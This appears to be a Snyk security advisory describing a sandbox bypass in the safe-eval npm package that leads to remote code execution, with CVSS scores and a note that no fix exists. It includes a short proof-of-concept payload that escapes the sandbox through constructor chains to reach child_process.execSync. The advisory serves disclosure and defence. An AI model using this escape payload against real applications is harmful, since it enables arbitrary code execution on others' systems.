Sandbox Bypass Affecting safe-eval package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    1.44% (88th percentile)

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  • Snyk ID SNYK-JS-SAFEEVAL-3373064
  • published 10 Apr 2023
  • disclosed 26 Mar 2023
  • credit seongil-wi

How to fix?

There is no fixed version for safe-eval.

Overview

safe-eval is a Safer version of eval()

Affected versions of this package are vulnerable to Sandbox Bypass due to improper input sanitization. The vulnerability is derived from prototype pollution exploitation. Exploiting this vulnerability might result in remote code execution ("RCE").

Vulnerable functions:

__defineGetter__, stack(), toLocaleString(), propertyIsEnumerable.call(), valueOf().

PoC


const safe_eval = require('safe-eval')
code = `
import('test').catch((e)=>{})['constructor']['constructor']('return process')().mainModule.require('child_process').execSync('touch rce')
`
safe_eval(code)

CVSS Scores

version 3.1
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Snyk

Recommended
8.8 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
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NVD

10 critical